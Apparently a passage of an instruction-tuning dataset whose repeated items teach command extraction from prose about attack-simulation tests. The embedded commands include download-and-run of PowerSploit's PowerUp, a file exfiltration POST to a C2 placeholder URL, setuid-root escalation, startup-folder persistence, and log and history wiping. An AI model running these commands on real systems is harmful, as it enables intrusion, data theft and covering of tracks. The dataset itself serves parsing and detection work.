this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For compiling C code across different platforms, you can use these commands: gcc #{input_file} && ./a.out\nclang #{input_file} && ./a.out\n; For compiling a C file across FreeBSD, Linux, or macOS systems, use either of these commands: g++ #{input_file} && ./a.out\nclang++ #{input_file} && ./a.out\n", "output": "{\"command_list\": [\"gcc #{input_file} && ./a.out\\nclang #{input_file} && ./a.out\\n\", \"g++ #{input_file} && ./a.out\\nclang++ #{input_file} && ./a.out\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Upon execution, domain accounts will be enumerated by running these commands which will show their output directly in the PowerShell window: net user /domain\nnet group /domain; You can retrieve detailed user and group information by executing this PowerShell command:\nnet user /domain\nget-localgroupmember -group Users\nget-aduser -filter *", "output": "{\"command_list\": [\"net user /domain\\nnet group /domain\\n\", \"net user /domain\\nget-localgroupmember -group Users\\nget-aduser -filter *\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To identify the System domain DNS controller on an endpoint, you can use the following nslookup ldap query, which is often abused by Qakbot malware: nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%.; The process involves copying a payload to a C file, changing ownership, and adjusting permissions with this command sequence: cp #{payload} /tmp/hello.c\nsudo chown root /tmp/hello.c\nsudo make /tmp/hello\nsudo chown root /tmp/hello\nsudo chmod u+s /tmp/hello\n/tmp/hello", "output": "{\"command_list\": [\"nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%\\n\", \"cp #{payload} /tmp/hello.c\\nsudo chown root /tmp/hello.c\\nsudo make /tmp/hello\\nsudo chown root /tmp/hello\\nsudo chmod u+s /tmp/hello\\n/tmp/hello\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To overwrite the specified log, which was a technique employed by threat actor Rocke during Linux web server exploitation, use the following command: echo 0> #{log_path}\n; To exfiltrate a file from the victim machine to the C2 server, use the following command: \nif(-not (Test-Path #{filepath})){ \n 1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value \"This is line $_.\" }\n}\n[System.Net.ServicePointManager]::Expect100Continue = $false\n$filecontent = Get-Content -Path #{filepath}\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\n", "output": "{\"command_list\": [\"echo 0> #{log_path}\\n\", \"if(-not (Test-Path #{filepath})){ \\n 1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value \\\"This is line $_.\\\" }\\n}\\n[System.Net.ServicePointManager]::Expect100Continue = $false\\n$filecontent = Get-Content -Path #{filepath}\\nInvoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An attacker might try to deceive a user into running the Microsoft Quick Assist app from the Microsoft Store, which can be done with the following command: Start-Process \"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\"; To download an ISO file without user interaction, run the following command: & \"PathToAtomicsFolder\\T1027.006\\bin\\T1027_006_remote.html\"", "output": "{\"command_list\": [\"Start-Process \\\"shell:AppsFolder\\\\MicrosoftCorporationII.QuickAssist_8wekyb3d8bbwe!App\\\"\", \"& \\\"PathToAtomicsFolder\\\\T1027.006\\\\bin\\\\T1027_006_remote.html\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To create an LNK file that launches CMD in the startup folder, use the following command: $Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n\n$Shell = New-Object -ComObject (\"WScript.Shell\")\n$ShortCut = $Shell.CreateShortcut(\"$env:ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\T1547.009.lnk\")\n$ShortCut.TargetPath=\"cmd.exe\"\n$ShortCut.WorkingDirectory = \"C:\\Windows\\System32\";\n$ShortCut.WindowStyle = 1;\n$ShortCut.Description = \"T1547.009.\";\n$ShortCut.Save()\n. After execution, open File Explorer and navigate to \"%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\" to verify the shortcut.; To compress files using GZip from Python, run the following command:\nwhich_python=`which python || which python3`\n$which_python -c \"import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();\"", "output": "{\"command_list\": [\"$Shell = New-Object -ComObject (\\\"WScript.Shell\\\")\\n$ShortCut = $Shell.CreateShortcut(\\\"$env:APPDATA\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\T1547.009.lnk\\\")\\n$ShortCut.TargetPath=\\\"cmd.exe\\\"\\n$ShortCut.WorkingDirectory = \\\"C:\\\\Windows\\\\System32\\\";\\n$ShortCut.WindowStyle = 1;\\n$ShortCut.Description = \\\"T1547.009.\\\";\\n$ShortCut.Save()\\n\\n$Shell = New-Object -ComObject (\\\"WScript.Shell\\\")\\n$ShortCut = $Shell.CreateShortcut(\\\"$env:ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\T1547.009.lnk\\\")\\n$ShortCut.TargetPath=\\\"cmd.exe\\\"\\n$ShortCut.WorkingDirectory = \\\"C:\\\\Windows\\\\System32\\\";\\n$ShortCut.WindowStyle = 1;\\n$ShortCut.Description = \\\"T1547.009.\\\";\\n$ShortCut.Save()\\n\", \"which_python=`which python || which python3`\\n$which_python -c \\\"import gzip;input_file=open('#{path_to_input_file}', 'rb');content=input_file.read();input_file.close();output_file=gzip.GzipFile('#{path_to_output_file}','wb',compresslevel=6);output_file.write(content);output_file.close();\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For testing AppInit_DLLs functionality, which triggers message boxes when DLLs load, use this registry import command: reg.exe import \"#{registry_file}\"\n. Note this won't work with secure boot enabled.; The bash history can be deleted with the command: rm #{history_path}", "output": "{\"command_list\": [\"reg.exe import \\\"#{registry_file}\\\"\\n\", \"rm #{history_path}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr 